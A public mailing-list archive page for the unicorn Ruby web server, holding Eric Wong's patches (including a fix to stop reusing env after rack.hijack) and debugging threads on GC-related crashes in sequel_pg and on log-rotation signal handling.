- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_with_fragment
@@ -55,7 +55,7 @@ def test_absolute_uri_with_fragment
assert_equal '/x', env['PATH_INFO']
assert_equal '', env['QUERY_STRING']
assert_equal 'frag', env['FRAGMENT']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_with_query_and_fragment
@@ -66,7 +66,7 @@ def test_absolute_uri_with_query_and_fragment
assert_equal '/x', env['PATH_INFO']
assert_equal 'a=b', env['QUERY_STRING']
assert_equal 'frag', env['FRAGMENT']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_unsupported_schemes
@@ -83,7 +83,7 @@ def test_x_forwarded_proto_https
"Host: foo\r\n\r\n")
env = @request.read(client)
assert_equal "https", env['rack.url_scheme']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_x_forwarded_proto_http
@@ -92,7 +92,7 @@ def test_x_forwarded_proto_http
"Host: foo\r\n\r\n")
env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_x_forwarded_proto_invalid
@@ -101,7 +101,7 @@ def test_x_forwarded_proto_invalid
"Host: foo\r\n\r\n")
env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_rack_lint_get
@@ -109,7 +109,7 @@ def test_rack_lint_get
env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
assert_equal '127.0.0.1', env['REMOTE_ADDR']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_no_content_stringio
@@ -143,7 +143,7 @@ def test_rack_lint_put
"abcde")
env = @request.read(client)
assert ! env.include?(:http_body)
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_rack_lint_big_put
@@ -177,6 +177,6 @@ def client.kgio_read!(*args)
}
assert_nil env['rack.input'].read(bs)
env['rack.input'].rewind
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
end
--
EW
^ permalink raw reply related [relevance 14%]
* [PATCH] avoid reusing env on hijack
@ 2017-12-16 1:49 14% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-12-16 1:49 UTC (permalink / raw)
To: Sam Saffron; +Cc: unicorn-public
Eric Wong <e@80x24.org> wrote:
> Btw, did you get a chance to look at my patch? (I haven't :x)
Thanks for testing (privately confirmed).
I've added a test case and pushed the following out to unicorn.git
https://bogomips.org/unicorn.git/patch?id=30e3c6abe542c6a9f5955e1d65896a0c3bab534f
I think we're due for a release soonish, especially with Ruby 2.5
around the corner...
--------8<--------
Subject: [PATCH] avoid reusing env on hijack
Hijackers may capture and reuse `env' indefinitely, so we must
not use it in those cases for future requests. For non-hijack
requests, we continue to reuse the `env' object to reduce
memory recycling.
Reported-and-tested-by: Sam Saffron <sam.saffron@gmail.com>
---
ext/unicorn_http/unicorn_http.rl | 15 +++++++++++++++
lib/unicorn/http_request.rb | 1 +
lib/unicorn/http_response.rb | 5 +++--
lib/unicorn/http_server.rb | 3 +--
t/hijack.ru | 12 ++++++++++++
t/t0200-rack-hijack.sh | 23 ++++++++++++++++++++++-
6 files changed, 54 insertions(+), 5 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 357440b..283bfa2 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -26,6 +26,7 @@ void init_unicorn_httpdate(VALUE mark_ary);
#define UH_FL_HASHEADER 0x100
#define UH_FL_TO_CLEAR 0x200
#define UH_FL_RESSTART 0x400 /* for check_client_connection */
+#define UH_FL_HIJACK 0x800
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
@@ -607,6 +608,10 @@ static VALUE HttpParser_clear(VALUE self)
{
struct http_parser *hp = data_get(self);
+ /* we can't safely reuse .buf and .env if hijacked */
+ if (HP_FL_TEST(hp, HIJACK))
+ return HttpParser_init(self);
+
http_parser_init(hp);
my_hash_clear(hp->env);
@@ -813,6 +818,15 @@ static VALUE HttpParser_env(VALUE self)
return data_get(self)->env;
}
+static VALUE HttpParser_hijacked_bang(VALUE self)
+{
+ struct http_parser *hp = data_get(self);
+
+ HP_FL_SET(hp, HIJACK);
+
+ return self;
+}
+
/**
* call-seq:
* parser.filter_body(dst, src) => nil/src
@@ -947,6 +961,7 @@ void Init_unicorn_http(void)
rb_define_method(cHttpParser, "next?", HttpParser_next, 0);
rb_define_method(cHttpParser, "buf", HttpParser_buf, 0);
rb_define_method(cHttpParser, "env", HttpParser_env, 0);
+ rb_define_method(cHttpParser, "hijacked!", HttpParser_hijacked_bang, 0);
rb_define_method(cHttpParser, "response_start_sent=", HttpParser_rssset, 1);
rb_define_method(cHttpParser, "response_start_sent", HttpParser_rssget, 0);
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index f83a566..d713b19 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -98,6 +98,7 @@ def read(socket)
# for rack.hijack, we respond to this method so no extra allocation
# of a proc object
def call
+ hijacked!
env['rack.hijack_io'] = env['unicorn.socket']
end
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index ec128e4..b23e521 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -21,13 +21,13 @@ def err_response(code, response_start_sent)
# writes the rack_response to socket as an HTTP response
def http_response_write(socket, status, headers, body,
- response_start_sent=false)
+ req = Unicorn::HttpRequest.new)
hijack = nil
if headers
code = status.to_i
msg = STATUS_CODES[code]
- start = response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
+ start = req.response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
"Connection: close\r\n"
@@ -52,6 +52,7 @@ def http_response_write(socket, status, headers, body,
end
if hijack
+ req.hijacked!
hijack.call(socket)
else
body.each { |chunk| socket.write(chunk) }
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index f33aa25..8674729 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -614,8 +614,7 @@ def process_client(client)
return if @request.hijacked?
end
@request.headers? or headers = nil
- http_response_write(client, status, headers, body,
- @request.response_start_sent)
+ http_response_write(client, status, headers, body, @request)
ensure
body.respond_to?(:close) and body.close
end
diff --git a/t/hijack.ru b/t/hijack.ru
index 4adec61..02260e2 100644
--- a/t/hijack.ru
+++ b/t/hijack.ru
@@ -11,11 +11,15 @@ def close
warn "closed DieIfUsed #{@@n += 1}\n"
end
end
+
+envs = []
+
run lambda { |env|
case env["PATH_INFO"]
when "/hijack_req"
if env["rack.hijack?"]
io = env["rack.hijack"].call
+ envs << env
if io.respond_to?(:read_nonblock) &&
env["rack.hijack_io"].respond_to?(:read_nonblock)
@@ -33,11 +37,19 @@ def close
{
"Content-Length" => r.bytesize.to_s,
"rack.hijack" => proc do |io|
+ envs << env
io.write(r)
io.close
end
},
DieIfUsed.new
]
+ when "/normal_env_id"
+ b = "#{env.object_id}\n"
+ h = {
+ 'Content-Type' => 'text/plain',
+ 'Content-Length' => b.bytesize.to_s,
+ }
+ [ 200, h, [ b ] ]
end
}
diff --git a/t/t0200-rack-hijack.sh b/t/t0200-rack-hijack.sh
index de3eb82..fee0791 100755
--- a/t/t0200-rack-hijack.sh
+++ b/t/t0200-rack-hijack.sh
@@ -1,6 +1,6 @@
#!/bin/sh
. ./test-lib.sh
-t_plan 5 "rack.hijack tests (Rack 1.5+ (Rack::VERSION >= [ 1,2]))"
+t_plan 9 "rack.hijack tests (Rack 1.5+ (Rack::VERSION >= [ 1,2]))"
t_begin "setup and start" && {
unicorn_setup
@@ -8,14 +8,35 @@ t_begin "setup and start" && {
unicorn_wait_start
}
+t_begin "normal env reused between requests" && {
+ env_a="$(curl -sSf http://$listen/normal_env_id)"
+ b="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_a" = x"$b"
+}
+
t_begin "check request hijack" && {
test "xrequest.hijacked" = x"$(curl -sSfv http://$listen/hijack_req)"
}
+t_begin "env changed after request hijack" && {
+ env_b="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_a" != x"$env_b"
+}
+
t_begin "check response hijack" && {
test "xresponse.hijacked" = x"$(curl -sSfv http://$listen/hijack_res)"
}
+t_begin "env changed after response hijack" && {
+ env_c="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_b" != x"$env_c"
+}
+
+t_begin "env continues to be reused between requests" && {
+ b="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_c" = x"$b"
+}
+
t_begin "killing succeeds after hijack" && {
kill $unicorn_pid
}
--
EW
^ permalink raw reply related [relevance 14%]
* meta: any mailing list subscribers get duplicates?
@ 2017-11-29 2:02 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-11-29 2:02 UTC (permalink / raw)
To: unicorn-public
If so, sorry about that.
This won't affect folks reading this list over NNTP or HTTP(S),
but looks like I forgot to lock in the replay driver and it should be
fixed in ssoma:
https://public-inbox.org/meta/20171129015224.31901-1-e@80x24.org/
(and yes, this is a test message of sorts, sorry for the noise)
As a reminder, you can also follow this list via NNTP and HTTP(S),
and it's probably more reliable since my MX may be blacklisted:
https://bogomips.org/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
/me resumes food coma
^ permalink raw reply [relevance 2%]
* Re: initialize/fork crash in macOS 10.13
@ 2017-10-16 19:25 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-10-16 19:25 UTC (permalink / raw)
To: Jeffrey Carl Faden; +Cc: unicorn-public
Btw, this seems to be resolved in Ruby trunk and there's a
workaround documented for existing Rubies:
https://bugs.ruby-lang.org/issues/14009
Obviously I can't test it but it seems to be working for some people.
In case ruby-lang goes down, you can also find it from the
public-inbox mirror of ruby-core:
https://public-inbox.org/ruby-core/?q=%22Bug%20%2314009%22&x=t
^ permalink raw reply [relevance 2%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-10-03 14:52 2% ` Xuanzhong Wei
@ 2017-10-03 17:15 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-10-03 17:15 UTC (permalink / raw)
To: Xuanzhong Wei; +Cc: code, maillist, pere.joan, philip, unicorn-public
Xuanzhong Wei <azrlew@gmail.com> wrote:
> We have the same issue here.
>
> IMHO, it is a bug introduced by 979ebcf91705709be5041a3be4514e5f1f6ec02c.
> The `mark_ary` get GCed before we add it to the ruby's global_list
> since we are doing memory allocations before calling rb_global_variable.
>
> A simple test can be found here:
> https://github.com/azrle/ruby_c_ext_test
Thanks, which compiler and version did you use?
> I will try to submit a patch later.
https://bogomips.org/unicorn-public/20171003145718.30404-1-azrlew@gmail.com/raw
Yes, seems corect since the compiler doesn't need to keep
mark_ary anymore once it only needs the address (&mark_ary).
OBJ_FREEZE is an inline which does nothing to prevent
the compiler from only keeping RBasic->flags around and
not the actual VALUE.
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-08-07 20:18 0% ` Eric Wong
@ 2017-10-03 14:52 2% ` Xuanzhong Wei
2017-10-03 17:15 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Xuanzhong Wei @ 2017-10-03 14:52 UTC (permalink / raw)
To: e; +Cc: code, maillist, pere.joan, philip, unicorn-public, Xuanzhong Wei
We have the same issue here.
IMHO, it is a bug introduced by 979ebcf91705709be5041a3be4514e5f1f6ec02c.
The `mark_ary` get GCed before we add it to the ruby's global_list
since we are doing memory allocations before calling rb_global_variable.
A simple test can be found here:
https://github.com/azrle/ruby_c_ext_test
I will try to submit a patch later.
^ permalink raw reply [relevance 2%]
* Re: Bug, probably related to Unicoen
@ 2017-09-14 9:15 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-09-14 9:15 UTC (permalink / raw)
To: Felix Yasnopolski; +Cc: unicorn-public
Felix Yasnopolski <felix.yasnopolski@gmail.com> wrote:
> We use Ruby v2.2.3, Rails v4.2.4, Unicorn v5.1.0 in production.
>
> ActiveRecord validation rules and callbacks for all models of app has
> been disabled after unicorn restart (from log rotation script). Here
> it is
Wow, that's a new one... I haven't used Rails in years, but it's
certainly not intentional behavior on the part of unicorn.
Hopefully somebody else with Rails knowledge can chime in.
Some questions:
Do you have anything which overrides USR1?
Are the logs getting rotated correctly?
(more below ...)
> /var/www/fitness_crm/shared/log/production.log
> /var/www/fitness_crm/shared/log/unicorn.stderr.log
> /var/www/fitness_crm/shared/log/unicorn.stdout.log {
> daily
> missingok
> rotate 30
> compress
> notifempty
> create 640 deploy deploy
> sharedscripts
> postrotate
> kill -s USR2 `cat
> /var/www/fitness_crm/shared/tmp/pids/unicorn.pid`
> endscript
> }
>
> We've changed the script to send USR1 instead of USR2, but nothing has
> changed. When USR1 is sent validations/callbacks simply keep being
> disabled. Here is our unicorn configuration file
>
> working_directory "/var/www/fitness_crm/current"
> pid "/var/www/fitness_crm/shared/tmp/pids/unicorn.pid"
> stdout_path "/var/www/fitness_crm/shared/log/unicorn.stdout.log"
> stderr_path "/var/www/fitness_crm/shared/log/unicorn.stderr.log"
OK, that looks right.
Do your logs show the log rotations as they're happening, at least?
Anything else pop up in the logs which might help us figure out
what's wrong? (for example, do you have dying workers)
> listen "/tmp/unicorn.fitness_crm_production.sock"
>
> worker_processes 8
> timeout 30
>
> preload_app true
Can you try omitting preload_app and see if you can reproduce
the problem? The big reason preload_app is `false' by default
is it could break some code...
And probably use only 1 worker to avoid memory
overhead/excessive log spew during debugging.
> before_exec do |server|
> ENV["BUNDLE_GEMFILE"] = "/var/www/fitness_crm/current/Gemfile"
> end
>
> before_fork do |server, worker|
> # Disconnect since the database connection will not carry over
> if defined? ActiveRecord::Base
> ActiveRecord::Base.connection.disconnect!
> end
>
> # Quit the old unicorn process
> old_pid = "#{server.config[:pid]}.oldbin"
> if File.exists?(old_pid) && server.pid != old_pid
> begin
> Process.kill("QUIT", File.read(old_pid).to_i)
> rescue Errno::ENOENT, Errno::ESRCH
> # someone else did our job for us
> end
> end
>
> if defined?(Resque)
> Resque.redis.quit
> end
>
> sleep 1
> end
>
> after_fork do |server, worker|
> # Start up the database connection again in the worker
> if defined?(ActiveRecord::Base)
> ActiveRecord::Base.establish_connection
> end
>
> if defined?(Resque)
> Resque.redis = 'localhost:6379'
> end
> end
If log rotations (via USR1) fails (e.g. due to permission
error), the workers die and get replaced, instead. This allows
the log files to be released and rotated in "brute force"
fashion...
Can you reproduce the problem by sending a QUIT, TERM, or KILL
signal directly to a worker process? (Also, note the time
interval between initial master startup and your test)
A later-spawned worker could behave differently/strangely
from an originally-spawned one...
Finally, can you reproduce your original problem by sending USR1
to the master immediately after a fresh start?
With logrotate (which only runs intermittently), the problem
could be manifesting from an app timeout or time skew of some
sort interacting poorly with preload_app and respawned workers.
> After this we kill unicorn and start it manually with command:
>
> bundle exec unicorn -D -c
> /var/www/fitness_crm/shared/config/unicorn.rb -E production
>
> After this everything is good and validations and callbacks are
> enabled again. Please, help to find out what is the reason of such a
> behavior and how to fix it.
This is why I gave the time skew/timeout hypothesis above.
Otherwise; I'm out of ideas, for now (and falling asleep).
Hoping somebody more awake with modern Rails knowledge can chime
in and help with things I'm missing.
Again; one of the first unicorn-specific steps for
troubleshooting is to disable preload_app and use a single
worker process which you can trace more easily.
^ permalink raw reply [relevance 2%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-08-07 6:16 3% ` Jeremy Evans
@ 2017-08-07 20:18 0% ` Eric Wong
2017-10-03 14:52 2% ` Xuanzhong Wei
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-08-07 20:18 UTC (permalink / raw)
To: Jeremy Evans
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
Jeremy Evans <code@jeremyevans.net> wrote:
> On 07/24 01:25, Eric Wong wrote:
> > Jeremy Evans <code@jeremyevans.net> wrote:
> > > Running with GC.stress didn't catch the error for me. But I'm using a
> > > fairly old compiler (GCC 4.2.1, the OpenBSD default), so this may be
> > > something that only shows up on a newer compiler that does more
> > > optimizations.
> >
> > Pere: just curious if you've had a chance to test my patch for
> > sequel_pg from Jeremy's latest sequel_pg.git
> >
> > In any case, I'm certain my patch fixes a bug which manifests
> > in a compiler-dependent manner; but here could always be other
> > bugs in a similar vein. Thanks.
>
> I can't get it to crash with sequel_pg 1.7.0 when compiled using clang
> 4.0.0 either. I even tried to build a special program designed to
> trigger the crash.
From anecdotes on ruby-core, clang still seems less aggressive
at optimizations than modern gcc.
Fwiw, a few GC bugs in Ruby trunk got fixed recently and the
fixes should be in 2.4.2 (soon):
https://public-inbox.org/ruby-core/?q=T_NONE+d%3A20161225..20170808
Not identical to T_NODE which Pere got, but if it's a GC bug,
but both T_NONE and T_NODE triggers are symptoms of GC bugs.
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-24 1:25 2% ` Eric Wong
@ 2017-08-07 6:16 3% ` Jeremy Evans
2017-08-07 20:18 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-08-07 6:16 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/24 01:25, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > Running with GC.stress didn't catch the error for me. But I'm using a
> > fairly old compiler (GCC 4.2.1, the OpenBSD default), so this may be
> > something that only shows up on a newer compiler that does more
> > optimizations.
>
> Pere: just curious if you've had a chance to test my patch for
> sequel_pg from Jeremy's latest sequel_pg.git
>
> In any case, I'm certain my patch fixes a bug which manifests
> in a compiler-dependent manner; but here could always be other
> bugs in a similar vein. Thanks.
I can't get it to crash with sequel_pg 1.7.0 when compiled using clang
4.0.0 either. I even tried to build a special program designed to
trigger the crash.
Compiler used:
$ cc -v
OpenBSD clang version 4.0.0 (tags/RELEASE_400/final) (based on LLVM 4.0.0)
Target: amd64-unknown-openbsd6.1
Thread model: posix
InstalledDir: /usr/bin
Program used:
require 'sequel'
DB = Sequel.postgres(:test=>false)
DB.extension :pg_array
# pg_array.txt contains ([[1] * 100] * 100) in PostgreSQL array format
t = File.read('pg_array.txt')
dot = '.'
trap(:HUP){}
Thread.new do
while true
sleep 1
Process.kill(:HUP, $$)
end
end
GC.stress = true
(0..2).map do
Thread.new do
i = 0
pr = lambda{|v| print dot if ((i+=1) % 100) == 0; "#{v}#{v}"}
while true
print 'L'
Sequel::Postgres.parse_pg_array(t.dup, pr)
end
end
end.map(&:join)
Pere, can you test this program and see if it crashes in your
environment? If not, can you put together a reproducible example that
does crash in your environment?
Thanks,
Jeremy
^ permalink raw reply [relevance 3%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-17 14:32 0% ` Jeremy Evans
@ 2017-07-24 1:25 2% ` Eric Wong
2017-08-07 6:16 3% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-07-24 1:25 UTC (permalink / raw)
To: Jeremy Evans, Pere Joan Martorell
Cc: unicorn-public, Philip Cunningham, Jonathan del Strother
Jeremy Evans <code@jeremyevans.net> wrote:
> Running with GC.stress didn't catch the error for me. But I'm using a
> fairly old compiler (GCC 4.2.1, the OpenBSD default), so this may be
> something that only shows up on a newer compiler that does more
> optimizations.
Pere: just curious if you've had a chance to test my patch for
sequel_pg from Jeremy's latest sequel_pg.git
In any case, I'm certain my patch fixes a bug which manifests
in a compiler-dependent manner; but here could always be other
bugs in a similar vein. Thanks.
^ permalink raw reply [relevance 2%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-15 7:56 0% ` Jeremy Evans
@ 2017-07-17 14:32 0% ` Jeremy Evans
2017-07-24 1:25 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-07-17 14:32 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/15 12:56, Jeremy Evans wrote:
> On 07/15 04:45, Eric Wong wrote:
> > Jeremy Evans <code@jeremyevans.net> wrote:
> > > All of Sequel's postgres adapter tests still pass with this, so I merged
> > > this into the master branch. I'll do some more testing of my apps, but
> > > unless I run into problems I plan to release this as sequel_pg 1.7.1
> > > early next week.
> >
> > Thanks for the update. Btw, did you get a chance to test with
> > GC.stress? It's not 100% reliable (and it is slow), but
> > probably could've caught problems like this one.
>
> I hadn't tested with GC.stress before. You weren't kidding about it being
> slow. I'll let it run overnight with the previous code (without your
> patch), to see if this is something it would have caught.
Running with GC.stress didn't catch the error for me. But I'm using a
fairly old compiler (GCC 4.2.1, the OpenBSD default), so this may be
something that only shows up on a newer compiler that does more
optimizations.
Thanks,
Jeremy
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-15 4:45 2% ` Eric Wong
@ 2017-07-15 7:56 0% ` Jeremy Evans
2017-07-17 14:32 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-07-15 7:56 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/15 04:45, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > All of Sequel's postgres adapter tests still pass with this, so I merged
> > this into the master branch. I'll do some more testing of my apps, but
> > unless I run into problems I plan to release this as sequel_pg 1.7.1
> > early next week.
>
> Thanks for the update. Btw, did you get a chance to test with
> GC.stress? It's not 100% reliable (and it is slow), but
> probably could've caught problems like this one.
I hadn't tested with GC.stress before. You weren't kidding about it being
slow. I'll let it run overnight with the previous code (without your
patch), to see if this is something it would have caught.
Thanks,
Jeremy
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-15 1:34 0% ` Jeremy Evans
@ 2017-07-15 4:45 2% ` Eric Wong
2017-07-15 7:56 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-07-15 4:45 UTC (permalink / raw)
To: Jeremy Evans
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
Jeremy Evans <code@jeremyevans.net> wrote:
> All of Sequel's postgres adapter tests still pass with this, so I merged
> this into the master branch. I'll do some more testing of my apps, but
> unless I run into problems I plan to release this as sequel_pg 1.7.1
> early next week.
Thanks for the update. Btw, did you get a chance to test with
GC.stress? It's not 100% reliable (and it is slow), but
probably could've caught problems like this one.
^ permalink raw reply [relevance 2%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-15 0:15 0% ` Eric Wong
@ 2017-07-15 1:34 0% ` Jeremy Evans
2017-07-15 4:45 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-07-15 1:34 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/15 12:15, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > Thanks for this patch. I'm not an RB_GC_GUARD expert, but the changes
> > look fine to me. The existing RB_GC_GUARD calls were added by me in
> > 2012 to fix an earlier segfault.[1] This is the first reported
> > RB_GC_GUARD-related segfault in sequel_pg since then.
>
> No worries; I don't consider myself a RB_GC_GUARD expert, either(*).
>
> > [1] https://github.com/jeremyevans/sequel_pg/commit/15edb132887d9b5292cad419fc7692ed5cd4b01b.diff
>
> I suspect your original guards were lucky enough for C compilers
> in 2012, but compilers have gotten more clever since then. So
> there's a a higher likelyhood of exposing bugs given the
> conservative GC in Ruby(**).
>
> Historical note:
>
> Back in the day, "volatile" alone was enough to defeat
> compiler optimizations in C Ruby. Eventually, compilers got
> better, so RB_GC_GUARD was introduced. And in the future,
> RB_GC_GUARD may evolve to accomodate even more clever
> compilers.
>
> > Pere, I would appreciate if you could test this patch and see if it
> > fixes your issue. I will also test it and will release a new sequel_pg
> > version with this patch if it fixes the issue.
>
> Yes, actually testing the code is important, everything else
> I've written here is theory ;)
All of Sequel's postgres adapter tests still pass with this, so I merged
this into the master branch. I'll do some more testing of my apps, but
unless I run into problems I plan to release this as sequel_pg 1.7.1
early next week.
Thanks,
Jeremy
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-14 22:50 3% ` Jeremy Evans
@ 2017-07-15 0:15 0% ` Eric Wong
2017-07-15 1:34 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-07-15 0:15 UTC (permalink / raw)
To: Jeremy Evans
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
Jeremy Evans <code@jeremyevans.net> wrote:
> Thanks for this patch. I'm not an RB_GC_GUARD expert, but the changes
> look fine to me. The existing RB_GC_GUARD calls were added by me in
> 2012 to fix an earlier segfault.[1] This is the first reported
> RB_GC_GUARD-related segfault in sequel_pg since then.
No worries; I don't consider myself a RB_GC_GUARD expert, either(*).
> [1] https://github.com/jeremyevans/sequel_pg/commit/15edb132887d9b5292cad419fc7692ed5cd4b01b.diff
I suspect your original guards were lucky enough for C compilers
in 2012, but compilers have gotten more clever since then. So
there's a a higher likelyhood of exposing bugs given the
conservative GC in Ruby(**).
Historical note:
Back in the day, "volatile" alone was enough to defeat
compiler optimizations in C Ruby. Eventually, compilers got
better, so RB_GC_GUARD was introduced. And in the future,
RB_GC_GUARD may evolve to accomodate even more clever
compilers.
> Pere, I would appreciate if you could test this patch and see if it
> fixes your issue. I will also test it and will release a new sequel_pg
> version with this patch if it fixes the issue.
Yes, actually testing the code is important, everything else
I've written here is theory ;)
(*) Fwiw, I am not fluent in reading asm for systems I run Ruby on,
but I know how clever compilers can be, and have written
about it some on ruby-core:
https://public-inbox.org/ruby-core/?q=RB_GC_GUARD&d:..20170714
(**) similar story with lock-free multi-threading in other projects
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
@ 2017-07-14 22:50 3% ` Jeremy Evans
2017-07-15 0:15 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-07-14 22:50 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/14 09:16, Eric Wong wrote:
> Pere Joan Martorell <pere.joan@camaloon.com> wrote:
> > I suspect that the conflicting gem was 'sequel_pg' (sequel_pg
> > overwrites the inner loop of the Sequel postgres adapter row fetching
> > code with a C version. The C version is significantly faster than the
> > pure ruby version that Sequel uses by default), but given I didn't
> > remove these gems one by one I can't completely ensure that.
> >
> > If the problem reemerges I'll keep you informed.
> >
> > Thanks!! :)
>
> Thanks for the info. I've added Jeremy Evans, the author of
> sequel_pg to the Cc: even though I think he reads this list...
>
> Anyways, I think I've spotted one potential bug in sequel_pg
> w.r.t. RB_GC_GUARD usage, and the fix is below:
>
> git clone https://github.com/jeremyevans/sequel_pg && cd sequel_pg
> curl https://80x24.org/spew/20170714210918.3332-1-e@80x24.org/raw | git am
>
> (more in-depth explanation is in the commit message)
>
> Pere: perhaps you can give it a shot
>
> Keep in mind I've only compile-tested this. I didn't find
> automated tests in the code and I don't have a usable Postgres
> instance, at the moment.
Eric,
Thanks for this patch. I'm not an RB_GC_GUARD expert, but the changes
look fine to me. The existing RB_GC_GUARD calls were added by me in
2012 to fix an earlier segfault.[1] This is the first reported
RB_GC_GUARD-related segfault in sequel_pg since then.
Pere, I would appreciate if you could test this patch and see if it
fixes your issue. I will also test it and will release a new sequel_pg
version with this patch if it fixes the issue.
Thanks,
Jeremy
[1] https://github.com/jeremyevans/sequel_pg/commit/15edb132887d9b5292cad419fc7692ed5cd4b01b.diff
^ permalink raw reply [relevance 3%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
@ 2017-07-14 10:21 3% ` Pere Joan Martorell
0 siblings, 1 reply; 200+ results
From: Pere Joan Martorell @ 2017-07-14 10:21 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public, Philip Cunningham, Jonathan del Strother
2017-07-13 21:34 GMT+02:00 Eric Wong <e@80x24.org>:
> +Cc: Philip and Jonathan since they encountered this three years
> ago, but we never heard back from them:
>
> https://bogomips.org/unicorn-public/?q=T_NODE+d:..20170713
>
>
> Pere Joan Martorell <pere.joan@camaloon.com> wrote:
>> > /home/deployer/.rbenv/versions/2.4.1/lib/ruby/gems/2.4.0/gems/unicorn-5.3.0/lib/unicorn/http_request.rb:80:in `parse': method `hash' called on unexpected T_NODE object (0x0055b15b973508 flags=0xaa31b) (NotImplementedError)
>
>> Any idea what is happening?
>
> This is most likely a bug in a C extension not using write
> barriers correctly (perhaps via undocumented C-API functions in
> Ruby).
>
> I don't think I've seen this on ruby-core bug reports in a few years:
>
> https://public-inbox.org/ruby-core/?q=T_NODE
>
> Fwiw, Appendix D on Generational GC in the Ruby source is
> worth reading to any C extension authors:
>
> https://80x24.org/mirrors/ruby.git/plain/doc/extension.rdoc
>
> There are probably build warnings when using some dangerous methods/macros,
